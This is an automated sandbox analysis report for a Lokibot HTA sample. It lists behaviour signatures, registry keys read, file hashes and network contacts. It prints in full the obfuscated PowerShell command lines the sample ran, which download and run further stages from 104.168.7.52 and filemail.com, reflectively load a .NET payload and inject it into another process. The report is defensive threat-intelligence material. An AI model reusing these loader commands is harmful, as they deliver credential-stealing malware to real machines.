Analysis Overview
SHA256
534eb483ce1b60f8fdaf67d6a9bbbe6b100247860f85706d2a0dbd86e55de528
Threat Level: Known bad
The file 534eb483ce1b60f8fdaf67d6a9bbbe6b100247860f85706d2a0dbd86e55de528.hta was found to be: Known bad.
Malicious Activity Summary
Lokibot
Lokibot family
Command and Scripting Interpreter: PowerShell
Evasion via Device Credential Deployment
Blocklisted process makes network request
Checks computer location settings
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
outlook_win_path
Modifies Internet Explorer settings
Modifies registry class
outlook_office_path
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-08 02:44
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-08 02:44
Reported
2024-11-08 02:46
Platform
win7-20240903-en
Max time kernel
122s
Max time network
123s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WScript.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\534eb483ce1b60f8fdaf67d6a9bbbe6b100247860f85706d2a0dbd86e55de528.hta"
C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE
"C:\Windows\sySTem32\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE" "POWerSHeLl -eX bYpasS -NOP -w 1 -c DEVICECReDentIaLDePloymeNt.EXE ; iEX($(iEx('[sysTEm.TeXt.eNCOdiNG]'+[CHAR]0X3A+[cHar]0X3A+'UTf8.GEtSTrINg([sysTEm.conVerT]'+[ChAr]58+[CHar]0x3A+'FrOmbASE64StriNG('+[CHar]34+'JHljNFhtWktpaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1CZXJEZUZpTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTE1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEphQ3p6SUFkSE9OLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhiLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFVGpGLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFhoQ0ZaKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVENKIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lc3BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aFAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHljNFhtWktpajo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy41Mi8xMzAvc2VldGhlYmVzdHRoaW5nc2V2ZXJtYWRld2l0aG1lY2hhcmFjdGVybmV2ZXJjaGFuZ2UudElGIiwiJGVudjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NldmVybWFkZXdpdGhtZWNoYXJhY3Rlcm5ldmVyY2gudmJzIiwwLDApO1N0QXJULXNMRUVwKDMpO3NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZXZlcm1hZGV3aXRobWVjaGFyYWN0ZXJuZXZlcmNoLnZicyI='+[cHaR]34+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpasS -NOP -w 1 -c DEVICECReDentIaLDePloymeNt.EXE
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\g8xtmorc.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBFB8.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBFB7.tmp"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestthingsevermadewithmecharacterneverch.vbs"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWkNHaW1hZ2VVcmwnKycgPSBrcndodHRwczovLzEwMTcuZmlsZW1haWwuYycrJ29tJysnL2FwaS9maWxlL2dldD9maWxla2V5PTJBYV9iVycrJ285JysnUmV1NDV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0R3JuVElDZkZobVRLajMnKydMQzZTUXRJY09jX1QzNXcmcGtfdmlkPWZkNGY2MScrJzRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDQnKydmIGtydztaQ0d3ZWJDbGllbicrJ3QgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuVycrJ2ViQ2xpZW50O1pDR2ltYWdlQnl0ZXMgPSBaQ0d3ZWJDbGllbnQuRG93bmxvYWREYScrJ3RhKFpDR2ltYWdlVXJsKTtaQ0dpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhaQ0dpbWFnJysnZUJ5dGVzKTtaQ0dzdGEnKydydEZsYWcgPSBrcnc8PEJBU0U2NF9TVEFSVD4+a3J3O1pDR2VuZEZsYWcgPSBrJysncnc8PEJBUycrJ0U2NCcrJ19FTkQ+PmtydztaQ0dzdGFydEknKyduZGV4ID0gWkNHaW1hZ2VUZXh0LkluZGV4T2YoWkNHc3RhcnRGbGFnKTtaQ0dlbmRJbmRlJysneCA9IFpDR2ltYWcnKydlVGV4dC5JbmRleE9mKFpDR2VuZEZsYWcpO1pDR3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBaQ0dlbmRJbmRleCAtZ3QgWkNHc3RhcnRJbmRleDtaQ0dzdGFydEluZGV4ICs9IFpDR3MnKyd0YXJ0RmxhZy5MZW5ndGg7WkNHYmFzZTY0TGVuZ3RoID0gWkNHZW5kSW5kZXggLSBaQ0dzdGFydEluZGV4O1pDR2Jhc2U2NENvbW0nKydhbmQgPSBaQ0dpbWFnZVRleHQuU3Vic3RyaW5nKFpDR3N0YXInKyd0SW5kZXgsIFpDR2Jhc2U2NExlbmd0aCk7WicrJ0NHYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoWkNHYmFzZTY0QycrJ29tbWFuZC5UbycrJ0NoYXJBcnJheSgpIFpXMyBGb3JFYWNoLU9iamVjdCB7IFpDR18gfSlbLTEuLi0oWkNHYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtaQ0djb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3QnKydyaW5nKFpDR2Jhc2U2NFJldmVycycrJ2VkKTtaQ0dsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGknKydvbi5Bc3NlbWJseV06OkxvYWQoJysnWkNHY29tbWFuZEJ5dGVzKTtaQ0d2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGtyd1ZBSWtyJysndyk7WkMnKydHdmFpTWV0aG9kLkludm9rZShaQ0dudWxsLCBAKGtyd3R4dCcrJy5MRUxMUE1TLzAnKyczMS8yNS43Ljg2MS40MDEvLzpwdHRoa3J3LCBrcncnKydkZXNhdGl2YWRvJysna3J3LCBrcndkZXNhdGl2YWRva3J3LCBrcndkZXNhdGl2YWRva3J3LCBrcndhc3BuZXRfcmVnYnJvd3NlcnNrcncsIGtyd2Rlc2F0aXZhZG9rJysncncsIGtyd2Rlc2F0aXZhZG9rcncsa3J3ZGVzYXRpdmFkb2tydyxrcndkZXNhdGknKyd2YWRva3J3LGtyd2Rlc2F0aXZhZG9rcncsa3J3ZGVzYXRpdmFkb2tydyxrcndkZXNhdGl2YWRva3InKyd3LGtydzFrcncsa3J3JysnZGVzYXRpdmFkb2tydykpJysnOycpLXJlUGxBQ0UnWkNHJyxbQ2hhcl0zNiAgLWNSZXBsQWNFICAoW0NoYXJdOTArW0NoYXJdODcrW0NoYXJdNTEpLFtDaGFyXTEyNC1jUmVwbEFjRSdrcncnLFtDaGFyXTM5KXwmICggJEVOdjpjb21TcEVDWzQsMjYsMjVdLWpvaW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('ZCGimageUrl'+' = krwhttps://1017.filemail.c'+'om'+'/api/file/get?filekey=2Aa_bW'+'o9'+'Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3'+'LC6SQtIcOc_T35w&pk_vid=fd4f61'+'4bb209c62c1730945176a0904'+'f krw;ZCGwebClien'+'t = New-Object System.Net.W'+'ebClient;ZCGimageBytes = ZCGwebClient.DownloadDa'+'ta(ZCGimageUrl);ZCGimageText = [System.Text.Encoding]::UTF8.GetString(ZCGimag'+'eBytes);ZCGsta'+'rtFlag = krw<<BASE64_START>>krw;ZCGendFlag = k'+'rw<<BAS'+'E64'+'_END>>krw;ZCGstartI'+'ndex = ZCGimageText.IndexOf(ZCGstartFlag);ZCGendInde'+'x = ZCGimag'+'eText.IndexOf(ZCGendFlag);ZCGstartIndex -ge 0 -and ZCGendIndex -gt ZCGstartIndex;ZCGstartIndex += ZCGs'+'tartFlag.Length;ZCGbase64Length = ZCGendIndex - ZCGstartIndex;ZCGbase64Comm'+'and = ZCGimageText.Substring(ZCGstar'+'tIndex, ZCGbase64Length);Z'+'CGbase64Reversed = -join (ZCGbase64C'+'ommand.To'+'CharArray() ZW3 ForEach-Object { ZCG_ })[-1..-(ZCGbase64Command.Length)];ZCGcommandBytes = [System.Convert]::FromBase64St'+'ring(ZCGbase64Revers'+'ed);ZCGloadedAssembly = [System.Reflecti'+'on.Assembly]::Load('+'ZCGcommandBytes);ZCGvaiMethod = [dnlib.IO.Home].GetMethod(krwVAIkr'+'w);ZC'+'GvaiMethod.Invoke(ZCGnull, @(krwtxt'+'.LELLPMS/0'+'31/25.7.861.401//:ptthkrw, krw'+'desativado'+'krw, krwdesativadokrw, krwdesativadokrw, krwaspnet_regbrowserskrw, krwdesativadok'+'rw, krwdesativadokrw,krwdesativadokrw,krwdesati'+'vadokrw,krwdesativadokrw,krwdesativadokrw,krwdesativadokr'+'w,krw1krw,krw'+'desativadokrw))'+';')-rePlACE'ZCG',[Char]36 -cReplAcE ([Char]90+[Char]87+[Char]51),[Char]124-cReplAcE'krw',[Char]39)|& ( $ENv:comSpEC[4,26,25]-join'')"
Network
| Country | Destination | Domain | Proto |
| US | 104.168.7.52:80 | 104.168.7.52 | tcp |
| US | 8.8.8.8:53 | 1017.filemail.com | udp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
Files
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | 0e76f58775661ed0bbd3dc9dde26d9b7 |
| SHA1 | 78a64806cfec9afa731b299159074c57bcda0405 |
| SHA256 | 35a4261540db80a20c5c22f8f5c7db118bd8e85821cd9444008df5aa1d26f94d |
| SHA512 | 7290aadbd22914f06eb477b9225c8f42f287f9ae91043906d46479a7ec7853910abab432b982a553bf9f9f75699ce4de968940ee1ba9073e8efe17350f191547 |
\??\c:\Users\Admin\AppData\Local\Temp\g8xtmorc.cmdline
| MD5 | 51e553c8049ae91b4f913c395a474ba8 |
| SHA1 | aa9e10f446c288c7e7aed1125a8a014b0e86662c |
| SHA256 | b87bc11ffa5cb5b88d7eebacb61840f0d010c331eb108251cfad073dda796e44 |
| SHA512 | c3be4bb08408021a73dc69166c98fd3b6f88a9402038e3fde030b7676709e32880ff42682fdec41fb5905400d7c8c37c8e8c0e85762b81cd235278fe08ead7f2 |
\??\c:\Users\Admin\AppData\Local\Temp\g8xtmorc.0.cs
| MD5 | e090c5c356e4a5968670e0e1d5b7061a |
| SHA1 | 58e057fd814332db04008226b600f24678a74884 |
| SHA256 | dfda423d8587c14087a2e1610cbf9a38a780afb0974fa39be6b275f375153d20 |
| SHA512 | 35a2f34fdfeefdcd297aa7ad6f8a2f833885fec60cd4f7798568e9e11294d352dc665d215bb7b7b27ffe5124b6f85c912e2445839167128b397965c1c2eb4217 |
\??\c:\Users\Admin\AppData\Local\Temp\CSCBFB7.tmp
| MD5 | 2c94c2a91f6351d76ddf28bbf475d17e |
| SHA1 | e6c22f1dfc7d940729879b3ba736bb6de4e9e242 |
| SHA256 | 6fefc2099e7a1d43730a298b2b07dbb52d090a5e563cd7d94224c615c21b56ea |
| SHA512 | ec7a41fe1d618ea6a26e28f3ca6c86d5f3c73a90a02cfcecb84d02481f7d10d3922bb08641373fbcf1f5d6b695a5976e89388f2c4afd1a96474af548cf4f383a |
C:\Users\Admin\AppData\Local\Temp\g8xtmorc.dll
| MD5 | 403da07915d6a22e3d8e6cddc6b086ea |
| SHA1 | 103c909776feebe8363e338223004f57fe341820 |
| SHA256 | 7c51b375b2cf7b7ab07a3be54def6ff03a5502de17cc9a3ccac1a1477eb3bbd8 |
| SHA512 | 1dbdad91149e5f80a2ffd2e2dafa5f4160908a6a99540ccc17ee6677e368cfe40324cbdbbb0f4eb73bb21a5be844522e7c2282fc3c487393e6679e2b4ccd2f8f |
C:\Users\Admin\AppData\Local\Temp\RESBFB8.tmp
| MD5 | c058e114de7e01e10854800eef4a2d6d |
| SHA1 | c560d469ec4cc748ad5a53e670bda880737738a1 |
| SHA256 | b35b84e9d8b9267e4fcc1663bf225e3dd16d2a93444684be0a1dc09ae85c172c |
| SHA512 | 2d62f826d91ef3caa9b3655360a8851de58e8114059b767442c085d132d32f066e9898d0ace030460b71049e2fa03fa41b763680a615718d918bae4024b91a58 |
C:\Users\Admin\AppData\Local\Temp\g8xtmorc.pdb
| MD5 | 43d8a626a1786a1d83b134fd11994f40 |
| SHA1 | 6cb96b5ff29650aa28a69963107f45433a722c0a |
| SHA256 | 8abd95ab560aa7b6a95eaefa626121987f99d8c4bc7a7e5545c7340adb16eb9d |
| SHA512 | 3c22f79a0de307ae66f523c84d5642db159ae619450820bfb6598c0027848e765cf4ee12dea4d6891a684b344a8848f3f4b1cb1a1140e9dc929584c4023aa19d |
C:\Users\Admin\AppData\Roaming\seethebestthingsevermadewithmecharacterneverch.vbs
| MD5 | 53d91892aead994ebd8ddc00f67b3d20 |
| SHA1 | 817443e7db1cf26edb38767a540f834ba284d4df |
| SHA256 | a8db688b3aeb1886027644bc593ee1d43a78ae0137d53bba4d62ec186da9fd06 |
| SHA512 | e024d38488a9b1778fc2a3efcb10afd6121d7b923c710b9e843f31c367de80f052269cbae90665e4778cdbc563668e543e1aa40f63cf5374bcc7370a63314d08 |
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-08 02:44
Reported
2024-11-08 02:46
Platform
win10v2004-20241007-en
Max time kernel
100s
Max time network
140s
Command Line
Signatures
Lokibot
Lokibot family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2652 set thread context of 4044 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WScript.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\534eb483ce1b60f8fdaf67d6a9bbbe6b100247860f85706d2a0dbd86e55de528.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE
"C:\Windows\sySTem32\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE" "POWerSHeLl -eX bYpasS -NOP -w 1 -c DEVICECReDentIaLDePloymeNt.EXE ; iEX($(iEx('[sysTEm.TeXt.eNCOdiNG]'+[CHAR]0X3A+[cHar]0X3A+'UTf8.GEtSTrINg([sysTEm.conVerT]'+[ChAr]58+[CHar]0x3A+'FrOmbASE64StriNG('+[CHar]34+'JHljNFhtWktpaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1CZXJEZUZpTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTE1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEphQ3p6SUFkSE9OLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhiLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFVGpGLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFhoQ0ZaKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVENKIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lc3BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aFAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHljNFhtWktpajo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy41Mi8xMzAvc2VldGhlYmVzdHRoaW5nc2V2ZXJtYWRld2l0aG1lY2hhcmFjdGVybmV2ZXJjaGFuZ2UudElGIiwiJGVudjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NldmVybWFkZXdpdGhtZWNoYXJhY3R